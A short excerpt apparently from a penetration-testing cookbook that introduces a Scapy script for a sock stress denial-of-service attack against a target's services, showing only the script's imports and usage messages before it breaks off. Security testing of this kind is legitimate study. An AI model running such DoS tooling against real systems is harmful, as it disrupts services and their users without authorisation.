How to do it...

To perform a sock stress DoS attack, follow the given steps:

  1. The following script was written in Scapy to perform a sock stress DoS attack against a target system. The following script can be used to test for vulnerable services:
        #!/usr/bin/python        from scapy.all import *        from time import sleep        import thread        import logging        import os        import signal        import sys        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)        if len(sys.argv) != 4:        print "Usage - ./sock_stress.py [Target-IP]         [Port Number] [Threads]"        print "Example - ./sock_stress.py 10.0.0.5 21 20"        print "Example will perform a 20x multi-threaded         sock-stress DoS attack "        print "against the FTP (port 21) service on 10.0.0.5"        print "n***NOTE***" print "Make sure you ...

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